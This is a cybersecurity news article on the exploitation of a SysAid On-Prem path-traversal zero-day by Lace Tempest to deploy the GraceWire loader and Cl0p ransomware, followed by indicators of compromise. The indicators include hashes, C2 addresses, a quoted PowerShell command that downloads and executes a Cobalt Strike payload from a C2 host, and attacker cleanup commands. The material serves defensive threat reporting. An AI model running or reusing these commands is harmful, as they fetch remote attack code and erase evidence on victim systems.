Tuesday, May 28, 2024

SysAid IT Service Software 0-day Exploited to Deploy Cl0p Ransomware

SysAid On-Prem software has been reported with a 0-day vulnerability determined during an incident response investigation.

According to Microsoft, attackers are exploiting this zero-day vulnerability to infiltrate corporate servers, to steal sensitive data and deploy the notorious Clop ransomware.

This report highlights the urgent need for companies to prioritize their cybersecurity measures to protect their valuable assets from malicious attacks.

SysAid is a powerful and versatile software solution designed to streamline and enhance IT service management workflows across an organization.

It offers a comprehensive suite of tools and features that enable efficient and effective management of a wide range of IT services, ensuring seamless operations and improved productivity.

SysAid acted swiftly upon the vulnerability and communicated with its mitigation solution. Additionally, an upgraded version of the software has also been released, which fixes this vulnerability.

The vulnerability was associated with Path Traversal, leading to remote code execution within the SysAid on-prem software.

However, this vulnerability was exploited by a threat group known as Lace Tempest. The threat actors uploaded a WAR archive, which contains a WebShell and other payloads, into the webroot of the SysAid Tomcat web service.

SysAid IT Software 0-day Flaw

The WebShell provided the threat actor with unauthorized access and control over the compromised system, which the threat actor utilized to execute a PowerShell script that executes a malware loader under the name user.exe.

This was used to load the GraceWire trojan, which was injected into either spoolsv.exe, msiexec.exe, or svchost.exe processes.

Once the threat actor gained initial access and deployed the malware, they used a second PowerShell script to clean any trace associated with their activities from the disk and weblogs. Moreover, the threat actors also deployed the MeshAgent remote admin tool along with the trojan.

PowerShell Script Analysis

The first PowerShell script used was to Launch the Malware loader, which also lists all files placed in the C:\Program Files\SysAidServer\tomcat\webapps\usersfiles directory and removes any files used during the attack, including the usersfiles.war file and any files matching C:\Program Files\SysAidServer\tomcat\webapps\usersfiles\user.*

The second PowerShell script used was to erase evidence from Victim servers, which sleeps for 5 seconds for the exploit to complete and removes any lines in log files found within the SysAidServer\root\WEB-INF\logs and SysAidServer\tomcat\logs directories.

There was a third PowerShell script, which was used to download and execute CobaltStrike listeners on the victim host for further actions. 

A complete report that provides detailed information about the exploitation, script code, and other information has been published by SysAid.

Indicators of Compromise

Hashes

FilenameSha256Comment
user.exeb5acf14cdac40be590318dee95425d0746e85b1b7b1cbd14da66f21f2522bf4dMalicious loader
Meshagent.exe2035a69bc847dbad3b169cc74eb43fc9e6a0b6e50f0bbad068722943a71a4ccaMeshagent.exe remote admin tool

IP Addresses

IPComment
81.19.138[.]52GraceWire Loader C2
45.182.189[.]100GraceWire Loader C2
179.60.150[.]34Cobalt Strike C2
45.155.37[.]105Meshagent remote admin tool C2

File Paths

PathComment
C:\Program Files\SysAidServer\tomcat\webapps\usersfiles\user.exeGraceWire
C:\Program Files\SysAidServer\tomcat\webapps\usersfiles.warArchive of WebShells and tools used by the attacker
C:\Program Files\SysAidServer\tomcat\webapps\leaveUsed as a flag for the attacker scripts during execution

Commands

CobaltStrike

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(‘http://179.60.150[.]34:80/a’)

Post-Compromise Cleanup

Remove-Item -Path “$tomcat_dir\webapps\usersfiles\leave”.
Remove-Item -Force “$wapps\usersfiles.war”.
Remove-Item -Force “$wapps\usersfiles\user.*”.
& “$wapps\usersfiles\user.exe”.

Antivirus Detections

Trojan:Win32/TurtleLoader
Backdoor:Win32/Clop
Ransom:Win32/Clop

Secures your storage & backup systems With StorageGuard – Watch a 40-second Video Tour.

Website

Latest articles

Researchers Exploited Nexus Repository Using Directory Traversal Vulnerability

Hackers target and exploit GitHub repositories for a multitude of reasons and illicit purposes.The...

DDNS Service In Fortinet Or QNAP Embedded Devices Exposes Sensitive Data, Researchers Warn

Hackers employ DNS for various purposes like redirecting traffic to enable man-in-the-middle attacks, infecting...

PoC Exploit Released For macOS Privilege Escalation Vulnerability

A new vulnerability has been discovered in macOS Sonoma that is associated with privilege...

CatDDoS Exploiting 80+ Vulnerabilities, Attacking 300+ Targets Daily

Malicious traffic floods targeted systems, servers, or networks in Distributed Denial of Service (DDoS)...

GNOME Remote Desktop Vulnerability Let Attackers Read Login Credentials

GNOME desktop manager was equipped with a new feature which allowed remote users to...

Kesakode: A Remote Hash Lookup Service To Identify Malware Samples

Today marks a significant milestone for Malcat users with the release of version 0.9.6,...

Cisco Firepower Vulnerability Let Attackers Launch SQL Injection Attacks

 A critical vulnerability has been identified in Cisco Firepower Management Center (FMC) Software's web-based...
Eswar
Eswar
Eswar is a Cyber security content editor with a passion for creating captivating and informative content. With years of experience under his belt in Cyber Security, he is covering Cyber Security News, technology and other news.

Free Webinar

Live API Attack Simulation

94% of organizations experience security problems in production APIs, and one in five suffers a data breach. As a result, cyber-attacks on APIs increased from 35% in 2022 to 46% in 2023, and this trend continues to rise.
Key takeaways include:

  • An exploit of OWASP API Top 10 vulnerability
  • A brute force ATO (Account Takeover) attack on API
  • A DDoS attack on an API
  • Positive security model automation to prevent API attacks

Related Articles